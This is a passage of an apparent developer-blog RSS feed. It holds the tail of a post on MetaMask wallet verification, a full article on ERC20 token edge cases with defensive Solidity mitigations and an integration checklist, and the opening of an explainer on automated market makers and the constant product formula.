&lt;p&gt;signed intent&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Marketplace state&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;payment evidence&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ↓
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;optional blockchain evidence&lt;/p&gt;
&lt;p&gt;instead of:&lt;/p&gt;
&lt;p&gt;connect wallet&lt;br&gt;
↓&lt;br&gt;
everything becomes blockchain&lt;/p&gt;
&lt;p&gt;For me, that is the more useful direction.&lt;/p&gt;
&lt;p&gt;MetaMask should not just be a button.&lt;/p&gt;
&lt;p&gt;It should become a cryptographic tool that adds proof exactly where proof is useful.&lt;/p&gt;
&lt;p&gt;Project: MyZubster&lt;br&gt;
Stack: Node.js, Express, MongoDB, React, ethers, MetaMask&lt;br&gt;
Current milestone: EVM wallet ownership verification&lt;br&gt;
Next milestone: signed Marketplace requests without gas&lt;/p&gt;
&lt;p&gt;Repository:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/MyZubster-Ecosystem/myzubster&quot;&gt;https://github.com/MyZubster-Ecosystem/myzubster&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Implementation PR:&lt;/p&gt;
&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/MyZubster-Ecosystem/myzubster/pull/1385&quot;&gt;https://github.com/MyZubster-Ecosystem/myzubster/pull/1385&lt;/a&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/28567/building-metamask-wallet-ownership-verification-in-myzubster</guid>
<pubDate>Fri, 25 Sep 2026 04:23:07 +0000</pubDate>
</item>
<item>
<title>ERC20 Edge Cases Every Smart Contract Engineer Should Know</title>
<link>https://coderlegion.com/21142/erc20-edge-cases-every-smart-contract-engineer-should-know</link>
<description>&lt;p&gt;Your protocol launches. Everything passes the test suite with 100% coverage. Your audits are clean.&lt;/p&gt;
&lt;p&gt;Then, an unexpected token enters your liquidity pool. The accounting drifts by a fraction of a percent. Within hours, the discrepancy compounds. Users attempt to withdraw, and the transactions revert. The vault is permanently bricked, and funds are stuck.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What went wrong?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Most ERC20 exploits are not actually bugs in the protocol's core logic. They happen because protocol engineers assume every token behaves exactly like a vanilla OpenZeppelin implementation.&lt;/p&gt;
&lt;p&gt;The ERC20 standard is an interface, not a guarantee. It defines function signatures (&lt;code&gt;transfer&lt;/code&gt;, &lt;code&gt;approve&lt;/code&gt;, &lt;code&gt;balanceOf&lt;/code&gt;), but it dictates absolutely nothing about the internal execution logic behind those signatures.&lt;/p&gt;
&lt;p&gt;If your protocol integrates arbitrary tokens, your threat model immediately includes the behavior of those tokens. A single flawed assumption about how a token transfers, reverts, or accounts for balances can lead to systemic insolvency.&lt;/p&gt;
&lt;p&gt;Let's look under the hood of the most common ERC20 edge cases that break production systems, and how to engineer defensive architectures to mitigate them.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Four Assumptions That Break Integrations&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before we look at specific edge cases, it helps to build a mental model of why these failures happen. Almost every ERC20 integration bug stems from one of four flawed assumptions:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Amount Assumptions:&lt;/strong&gt; Believing the amount you request to transfer is the exact amount that will arrive.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Execution Assumptions:&lt;/strong&gt; Assuming token transfers are passive state updates, rather than active execution environments.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permission Assumptions:&lt;/strong&gt; Believing that having a sufficient balance and allowance guarantees a transfer will succeed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Accounting Assumptions:&lt;/strong&gt; Hardcoding precision logic or assuming token behavior is immutable.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Let's break down how these assumptions fail in production.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/a095bnmoo1zl2a528wuq.png&quot; alt=&quot;A clean, technical 3D isometric diagram of a glowing smart contract &amp;quot;Vault&amp;quot;. Four distinct data streams are feeding into it, labeled 'Amounts', 'Execution', 'Permissions', and 'Accounting'. One of the streams is glowing red, causing a subtle fracture in the vault. Color palette must strictly feature Royal Purple and Soft Gold. Premium, technical, reliable vibe.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #1: Fee-on-Transfer &amp;amp; Rebasing Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If I call &lt;code&gt;token.transferFrom(alice, vault, 100)&lt;/code&gt;, the vault's balance increases by exactly 100.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens can deduct a tax on transfer (e.g., a 5% protocol fee) or continuously alter user balances algorithmically (rebasing).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A user deposits 100 fee-on-transfer tokens. The token takes a 5% fee.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;User calls deposit(100)
👇
Token executes transfer, deducts 5% tax
👇
Vault receives 95 tokens

❌ Vault internally mints 100 shares based on 'amount' parameter
✅ Vault should mint 95 shares based on actual received funds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Because the vault blindly minted 100 shares, the user can immediately withdraw 100 tokens, successfully stealing 5 tokens from previous depositors. The accounting drifts, and the last users to withdraw will be left with nothing.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never trust the &lt;code&gt;amount&lt;/code&gt; parameter for internal accounting. Always measure the actual balance delta before and after the transfer.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;uint256 balanceBefore = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceReceived = token.balanceOf(address(this)) - balanceBefore;

// Use balanceReceived for all subsequent logic, never 'amount'
_mintShares(msg.sender, balanceReceived);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Balance-delta accounting fixes this assumption. Unfortunately, the next edge case breaks protocols even when the balances match perfectly.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #2: Tokens with Callbacks (ERC-777 &amp;amp; Transfer Hooks)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Calling transfer only updates storage balances and returns execution flow directly back to my contract.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Standards like ERC-777, or custom tokens with transfer hooks, actively hand execution control back to the sender or receiver via external calls during the transfer process.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol updates the user's internal debt balance after pushing tokens to them.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;User calls withdraw()
👇
Protocol calls token.transfer(user)
👇
Token calls back to User's smart contract
👇
User's contract calls withdraw() AGAIN (before protocol debt is updated)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is a classic reentrancy attack, facilitated entirely by the token's internal hook.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why This Surprises Engineers:&lt;/strong&gt; We naturally view tokens as passive data ledgers. Callbacks turn tokens into active, hostile execution environments.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Follow the Checks-Effects-Interactions (CEI) pattern religiously. Update all internal state before interacting with external tokens. Additionally, apply OpenZeppelin's &lt;code&gt;ReentrancyGuard&lt;/code&gt; (&lt;code&gt;nonReentrant&lt;/code&gt; modifier) to any function interacting with external tokens.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Reentrancy guards handle unexpected execution paths. But what happens when a token quietly fails without telling you?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #3: Returning &lt;code&gt;false&lt;/code&gt; vs. Reverting&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If a token transfer fails, the transaction will revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some older tokens (like ZRX) do not revert on failure. Instead, they gracefully return a false boolean.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol calls &lt;code&gt;token.transfer(user, amount) &lt;/code&gt;and doesn't check the return value. The transfer fails (returns &lt;code&gt;false&lt;/code&gt;), but your code continues executing. The protocol marks the user's debt as paid, even though no tokens actually moved.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never use bare &lt;code&gt;transfer&lt;/code&gt; or &lt;code&gt;transferFrom&lt;/code&gt; calls. Wrap them in logic that asserts the boolean return value is &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OpenZeppelin / best practice&lt;/strong&gt;&lt;br&gt;
Always use OpenZeppelin's &lt;code&gt;SafeERC20&lt;/code&gt; library (&lt;code&gt;safeTransfer&lt;/code&gt;, &lt;code&gt;safeTransferFrom&lt;/code&gt;). It normalizes behavior by forcing a silent &lt;code&gt;false&lt;/code&gt; failure to revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; SafeERC20 forces silent failures to revert. But occasionally, you actually want certain transfers to bypass reverts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #4: Zero Address &amp;amp; Zero Amount Reverts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Transferring an amount of &lt;code&gt;0&lt;/code&gt; is a harmless No-Op (no operation) that costs a little gas but executes successfully.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Different token implementations handle zeros differently. Some explicitly revert if the transferred amount is &lt;code&gt;0&lt;/code&gt;, or if the target is the zero address.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Imagine this scenario:&lt;/strong&gt;&lt;br&gt;
Your protocol distributes daily yields in a batch loop to 100 users. One user earned &lt;code&gt;0&lt;/code&gt; yield today. The loop attempts to &lt;code&gt;transfer(user, 0)&lt;/code&gt;. The token reverts, crashing the entire transaction and preventing the other 99 users from receiving their yields.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Standardize behavior by wrapping transfers in a simple defensive check to bypass zero-amount logic.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;if (amount &amp;gt; 0) {
    token.safeTransfer(user, amount);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Standardizing behavior protects your loops. But what if the token completely breaks the standard interface?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #5: Missing Return Values (The USDT Problem)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
All ERC20 tokens return a boolean, as dictated by the standard interface.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Production Reality:&lt;/strong&gt; Tether (USDT) on Ethereum Mainnet is non-standard. Its &lt;code&gt;transfer&lt;/code&gt;, &lt;code&gt;transferFrom&lt;/code&gt;, and approve functions do not return a boolean; they return &lt;code&gt;void&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
If your contract compiles against the standard &lt;code&gt;IERC20&lt;/code&gt; interface, the EVM expects boolean return data to decode.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plaintext&quot;&gt;Standard: function transfer(...) returns (bool)
USDT:     function transfer(...) [returns void]
EVM:      &quot;Wait, where is the boolean to decode? Revert.&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Your protocol completely fails to integrate with the largest stablecoin on the market.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
OpenZeppelin's &lt;code&gt;SafeERC20&lt;/code&gt; handles this under the hood. By using &lt;code&gt;safeTransfer&lt;/code&gt;, you safely abstract away the missing return value issue at the assembly level.&lt;/p&gt;
&lt;p&gt;Takeaway: SafeERC20 handles legacy interfaces. But interface compatibility won't save you from centralized control.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #6: Blacklisted Addresses&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If an address has a sufficient balance and allowance, a transfer will always succeed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Fiat-backed stablecoins like USDC and USDT maintain centralized blacklists. If an address is blacklisted, all transfers involving that address will revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol liquidates undercollateralized debt. To close a position, it must send leftover USDC collateral to the user. The user gets blacklisted by Circle. The liquidation transaction reverts when attempting to send the leftover funds, preventing the protocol from clearing bad debt. The systemic risk cascades, threatening protocol solvency.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Design Rule: Pull-over-Push&lt;/strong&gt;&lt;br&gt;
Decouple protocol logic from token transfers. Instead of pushing funds to a user during a critical state change, record their balance internally and force them to pull (claim) it in a separate transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Decoupling logic prevents centralized blacklists from freezing your protocol. Speaking of centralized quirks, let's look at approvals.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #7: Non-Zero Approval Restrictions&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
You can update an allowance from any number to any other number using &lt;code&gt;approve(spender, newAmount)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
To prevent approval front-running (where an attacker exploits an old allowance while a new one is pending), tokens like USDT require that allowances be reset to &lt;code&gt;0&lt;/code&gt; before being updated to a new non-zero value.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A router contract tries to update its USDT approval to a DEX from 50 to 100. It calls &lt;code&gt;approve(dex, 100)&lt;/code&gt;. Because the current allowance is &lt;code&gt;50&lt;/code&gt; (non-zero), USDT reverts the transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
You must approve &lt;code&gt;0&lt;/code&gt; before approving the target amount. In OpenZeppelin v5+, &lt;code&gt;safeApprove&lt;/code&gt; was removed. Use &lt;code&gt;forceApprove()&lt;/code&gt;, which natively handles the &lt;code&gt;0&lt;/code&gt; reset under the hood.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Approval races are tricky, but at least the token is always the token... right?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #8: Multiple Addresses for the Same Token&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mental Model:&lt;/strong&gt; Think of an ERC20 token as a ledger. Usually, there is one door to access that ledger. But sometimes, developers build multiple doors (proxies, wrappers, aliases) that lead to the exact same ledger.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some tokens (like older TrueUSD implementations) use multiple entry point addresses that point to the same underlying state.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A lending protocol relies on the token's contract address as a unique identifier for price feeds. An attacker uses a wrapper contract that proxies to the same underlying token. The protocol reads the proxy as an unverified token, misprices the collateral, and allows the attacker to borrow against manipulated values.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Identify tokens strictly by exact, whitelisted addresses. Never rely blindly on &lt;code&gt;msg.sender&lt;/code&gt; to dynamically determine asset identity.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Identity is fluid. And worse, token logic is mutable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #9: Upgradeable Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
The token behavior I test today will be the token behavior in production tomorrow.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens like USDC are upgradeable behind a proxy. The controlling entity can push an upgrade at any time, adding transfer fees, callbacks, or entirely new operational restrictions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/2c5d1gs3dt12ni4ocdl6.png&quot; alt=&quot;USDC are upgradeable behind a proxy.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
You build a protocol assuming USDC has no fee-on-transfer. Circle upgrades USDC to enforce a 1 basis point transaction fee. Your static accounting breaks, and protocol funds become permanently locked because the math no longer balances.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Code defensively. Use balance-delta accounting (Edge Case #1) even if the token currently doesn't require it. Build pause functionality into your own protocol so you can halt operations if an upgrade breaks your integration.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; You can't control token upgrades, but you can control how you calculate value. Which brings us to spot balances.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #10: Flash-Mintable Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Massive token balances represent real, scarce capital.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some tokens, like DAI, natively support flash-minting. A user can instantly mint millions of tokens in a single transaction, provided they are burned (with a fee) by the end of execution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol calculates governance voting power based on spot balances within a liquidity pool. An attacker flash-mints 100 million DAI, executes a massive governance manipulation, and repays the DAI in the same block.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Never rely on spot balances for price discovery or voting power. Use Time-Weighted Average Price (TWAP) oracles and historical checkpoints.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; Spot balances lie. And sometimes, tokens lie about how much they transferred, too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #11: Transferring Less Than Requested&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
If I request to transfer &lt;code&gt;type(uint256).max&lt;/code&gt;, the token will either transfer that exact enormous amount or revert.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Some obscure tokens treat an amount parameter of &lt;code&gt;type(uint256).max&lt;/code&gt; as a custom flag meaning &quot;transfer all of the user's available balance.&quot;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
A protocol requests a &lt;code&gt;uint256.max&lt;/code&gt; sweep. The token successfully transfers the user's actual balance of 50 tokens. The protocol incorrectly records that &lt;code&gt;type(uint256).max&lt;/code&gt; tokens were received, creating massive artificial inflation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Once again, balance-delta accounting saves the day. Never assume the requested amount is the executed amount.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #12: High-Decimal Tokens&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The assumption&lt;/strong&gt;&lt;br&gt;
Tokens either have 18 decimals (like ETH) or 6 decimals (like USDC).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What actually happens&lt;/strong&gt;&lt;br&gt;
Tokens like YAMv2 use 24 decimals.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.us-east-2.amazonaws.com/uploads/articles/dj3orm3oypxru2efl4av.png&quot; alt=&quot;Tokens like YAMv2 use 24 decimals.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example failure&lt;/strong&gt;&lt;br&gt;
Your protocol multiplies a token balance by a high-precision constant before dividing it. Because the token already has 24 decimals, the multiplication exceeds &lt;code&gt;type(uint256).max&lt;/code&gt; and triggers an unexpected math overflow, bricking the transaction.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Mitigation&lt;/strong&gt;&lt;br&gt;
Always dynamically read the &lt;code&gt;decimals()&lt;/code&gt; function and normalize balances to a standard precision internally before performing complex math.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bonus Edge Cases&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #13. Pausable Tokens:&lt;/strong&gt;&lt;br&gt;
Tokens can be globally paused by their admins. Ensure your system degrades gracefully and uses Pull-over-Push accounting so a globally paused token doesn't brick your entire transaction loop.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Edge Case #14. Large Approval/Transfer Reverts:&lt;/strong&gt;&lt;br&gt;
Tokens like UNI and COMP use &lt;code&gt;uint96&lt;/code&gt; for their internal accounting limits. Attempting to approve or transfer &lt;code&gt;uint256.max&lt;/code&gt; will unexpectedly revert. Always approve exact required amounts.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Defensive ERC20 Integration Checklist&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before deploying any contract that touches external ERC20 tokens, verify your architecture against these rules:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Are you using SafeERC20?&lt;/strong&gt; Never use bare &lt;code&gt;.transfer()&lt;/code&gt; or &lt;code&gt;.transferFrom()&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you measuring balance deltas?&lt;/strong&gt; Never assume &lt;code&gt;amount sent == amount received&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you safe from reentrancy?&lt;/strong&gt; Assume every token transfer is an external callback.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Are you using Pull-over-Push?&lt;/strong&gt; Ensure a failing transfer only affects the specific user, not the broader system loop.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Have you normalized decimals?&lt;/strong&gt; Do not assume 6 or 18 decimals.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do you rely on spot balances?&lt;/strong&gt; Ensure oracles and voting mechanisms cannot be manipulated via flash-mints.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Closing Thoughts&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Smart contract engineering is deeply unforgiving because you are not just building software; you are building immutable financial infrastructure.&lt;/p&gt;
&lt;p&gt;When you integrate an external token, you do not just integrate an asset. You inherit its execution models, its upgrade paths, its governance assumptions, and its operational constraints. If the token's logic changes, or if it behaves in a way you didn't model for, your protocol pays the price.&lt;/p&gt;
&lt;p&gt;Treat every external token as fundamentally hostile. Rely on pure math, stateful invariants, and defensive accounting.&lt;/p&gt;
&lt;p&gt;Reliable systems emerge from reducing assumptions. Let's build something we can trust.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;What edge cases have caused problems in your own deployments? Let's chat about it in the comments below. Follow for more deep dives into smart contract architecture and onchain security.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/21142/erc20-edge-cases-every-smart-contract-engineer-should-know</guid>
<pubDate>Wed, 24 Jun 2026 06:50:00 +0000</pubDate>
</item>
<item>
<title>How AMMs Work: The Simple Math Behind Decentralized Trading</title>
<link>https://coderlegion.com/21139/how-amms-work-the-simple-math-behind-decentralized-trading</link>
<description>&lt;p&gt;One of the hardest problems in decentralized systems is this: how do two strangers trade without trusting each other or paying a middleman to coordinate?&lt;/p&gt;
&lt;p&gt;In traditional finance, this is solved by centralized exchanges. On the blockchain, we solve it with an &lt;strong&gt;Automated Market Maker (AMM).&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If you spend any time looking at decentralized finance (DeFi), you have probably seen the acronym floating around. Today, we are going to look under the hood to see exactly what an &lt;strong&gt;AMM&lt;/strong&gt; is, why the Ethereum ecosystem desperately needed it, and how it translates market rules into unstoppable code.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Constraint: Why Order Books Fail Onchain&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Before we can appreciate the solution, we have to understand the architectural constraint.&lt;/p&gt;
&lt;p&gt;In traditional finance (like the stock market or centralized crypto exchanges like Binance or Coinbase), trading runs on an &lt;strong&gt;Order Book.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;An order book is a giant digital matchmaking list. If I want to buy 1 ETH for $2,000, I write my name on the list. The exchange then searches for someone willing to sell 1 ETH for exactly $2,000. When it finds a match, the trade executes.&lt;/p&gt;
&lt;p&gt;This works flawlessly on centralized servers. But on a blockchain, order books have a fatal flaw: &lt;strong&gt;Cost.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Every single time you place, cancel, or match an order, it requires a state change on the network. State changes cost &quot;gas&quot; (transaction fees). If you had to pay a $20 gas fee just to list your trade on a decentralized order book whether someone buys it or not, the system would instantly become too slow and prohibitively expensive to use.&lt;/p&gt;
&lt;p&gt;We needed a way to trade assets without a matchmaking middleman. We needed to replace human coordination with reliable computation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Analogy: The Potato &amp;amp; Apple Farmers&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To understand how an AMM solves this coordination problem, let's use a simple system model.&lt;/p&gt;
&lt;p&gt;Imagine you are a potato farmer. You have hundreds of potatoes. Eventually, you get sick of them and just want a crisp, sweet, red apple.&lt;/p&gt;
&lt;p&gt;There are no grocery stores. To get an apple, you have to find an apple farmer who is tired of apples and wants potatoes, and trade with them directly. This is the exact equivalent of an &lt;strong&gt;Order Book&lt;/strong&gt;-finding a direct match. It is exhausting.&lt;/p&gt;
&lt;p&gt;Now, imagine an automated bin appears in the middle of your village.&lt;/p&gt;
&lt;p&gt;A wealthy merchant came by and filled this bin with 100 apples and 100 potatoes. The bin has no human cashier. Instead, it is run by a simple mathematical formula. The formula's only rule is to balance the supply.&lt;/p&gt;
&lt;p&gt;When you walk up to the bin and take out 20 apples, apples suddenly become scarcer. Because there are fewer apples left in the bin, the formula automatically raises the price of apples. To take those 20 apples, the bin demands you put in 25 potatoes.&lt;/p&gt;
&lt;p&gt;Next time someone wants an apple, it will cost even more potatoes, because apples are getting rarer. But if an apple farmer comes along and dumps 50 apples into the bin to take out some potatoes, the price of apples drops back down.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;That bin isn't intelligent. It doesn't predict markets. It simply enforces rules.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This automated, math-driven bin is the exact conceptual framework of an Automated Market Maker.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://dev-to-uploads.s3.amazonaws.com/uploads/articles/oocelus8tck6s45y75qv.png&quot; alt=&quot;A high-quality, modern, 3D abstract illustration. On the left, a rustic wooden basket containing glowing, stylized 3D potatoes and apples. On the right, this seamlessly morphs into a glowing, futuristic computer server running clean smart contract code. The color palette must strictly feature Royal Purple (#6B3FA0) and Soft Gold (#D6AF36) to match the BinnaDev visual identity. The vibe is premium, technical, and reliable.&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Mechanism: The Constant Product Formula&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In decentralized systems, that automated bin is called a &lt;strong&gt;Liquidity Pool.&lt;/strong&gt; It is simply a smart contract holding a pool of two different tokens (like ETH and USDC).&lt;/p&gt;
&lt;p&gt;Instead of waiting for an order book to match your trade, you trade &lt;em&gt;directly against the smart contract.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But how does the contract know what price to charge you? It uses an algorithmic invariant. The most common one is the &lt;strong&gt;Constant Product Formula&lt;/strong&gt;, which looks like this:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;x * y = k&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This math is beautifully simple and completely deterministic:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;x&lt;/code&gt; is the amount of Token A (e.g., Apples).&lt;/li&gt;
